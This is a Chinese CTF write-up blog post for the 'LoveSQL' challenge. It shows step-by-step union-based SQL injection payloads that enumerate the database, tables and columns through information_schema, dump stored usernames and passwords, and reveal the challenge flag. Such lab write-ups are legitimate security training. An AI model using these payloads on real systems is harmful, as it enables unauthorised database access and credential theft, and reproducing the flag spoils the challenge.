[极客大挑战 2019]LoveSQL
[极客大挑战 2019]LoveSQL#
测试一下注入类型,出现报错,说明是字符串注入
使用 万能钥匙 成功登录上,并给出了密码
试试一下这个flag,发现不对,继续搞。
从这个报错的语句可以看出来,sql的查询语句是将用户名和密码一起查询的,上面得到了 admin 用户,下面就可以利用这点,注入点放在 passwod 字段。
# 查询语句
$sql = 'SELECT * FROM table WHERE username=$username and password=$password'
# 测试返回数据的位置
?username=admin&password=1' union select 1,2,3 %23
# 获取当前数据库名和用户
?username=admin&password=1' union select 1,database(),user() %23
# 获取数据库中的数据表(子查询被限制只能返回一条)
?username=admin&password=1' union select 1,(select concat(',',table_name) from information_schema.tables where table_schema=database() LIMIT 0,1),user() %23
## 解决方法一:添加一个LIMIT 一行一行的返回,****database() LIMIT 0,1),user() %23
## 解决方法二:将 concat() 改为 group_concat() 返回的数据只有一条。
?username=admin&password=1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),user() %23
# 获取表中的字段名字
?username=admin&password=1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'),user() %23
# 获取字段值
?username=admin&password=1' union select 1,(select group_concat(id,username,password) from l0ve1ysq1),user() %23
返回 2,3 的位置可以回显结果。
查询当前数据库和用户
获取表的时候回显说,子查询最多返回一条数据,通过修改插入的语句返回一条数据。
获取数据表中字段名字和字段的值
看不清?没关系,看源码即可
# 拿到flag
flag{d0329084-f9d7-4d67-a974-4e83205ef814}
作者:knsec
出处:https://www.cnblogs.com/knsec-cnblogs/p/16582254.html
版权:本作品采用「署名-非商业性使用-相同方式共享 4.0 国际」许可协议进行许可。
备注:你可以在这里自定义其他内容,支持 HTML
本文来自博客园,作者:knsec,转载请注明原文链接:https://www.cnblogs.com/knsec-cnblogs/p/16582254.html
【推荐】博客园的心动:当一群程序员决定开源共建一个真诚相亲平台
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】Flutter适配HarmonyOS 5知识地图,实战解析+高频避坑指南
【推荐】开源 Linux 服务器运维管理面板 1Panel V2 版本正式发布
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· dotnetty 新的篇章- 开源
· 这5种规则引擎,真香!
· DotTrace系列:1. 理解四大经典的诊断类型(上)
· 【大数据高并发核心场景实战】 - 数据持久化之冷热分离
· 如何用大语言模型提取任意文档中的知识点